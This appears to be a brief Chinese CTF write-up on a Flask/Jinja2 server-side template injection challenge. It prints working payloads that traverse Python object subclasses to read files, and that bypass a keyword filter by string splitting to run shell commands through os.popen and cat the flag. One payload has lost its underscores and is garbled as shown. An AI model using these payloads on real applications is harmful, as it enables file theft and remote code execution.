前置知识
https://blog.****.net/u013457794/article/details/88997699?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://zhuanlan.zhihu.com/p/32336971
https://xz.aliyun.com/t/2553#toc-2
https://evi0s.com/2018/11/26/深入ssti-从nctf2018两道flask看bypass新姿势/
check了关键字:eval,flag。
打开界面,是base64加密和解密
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘builtins‘].open(‘filename‘, ‘r‘).read() }}{% endif %}{% endfor %}
可文件读取,文件名不知道是啥
看到PIN码,凑齐6个条件,写了脚本,没跑出来。。
最后直接绕过。。。。绕过了。。。。。
{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__[‘builtins‘][‘ev‘ ‘al‘]("__imp" "ort_" "_(‘o" "s‘).po" "pen(‘dir‘).read()")}}
爆出flag文件名
用拼接法{{{}.class.base.subclasses()[103].init.globals[‘builtins‘][‘ev‘ ‘al‘]("__imp" "ort_" "_(‘o" "s‘).po" "pen(‘cat ./../../../../../../" "this_is_the_f" "lag.txt‘).read()")}}
得到flag(flag就不占了,uuid形式)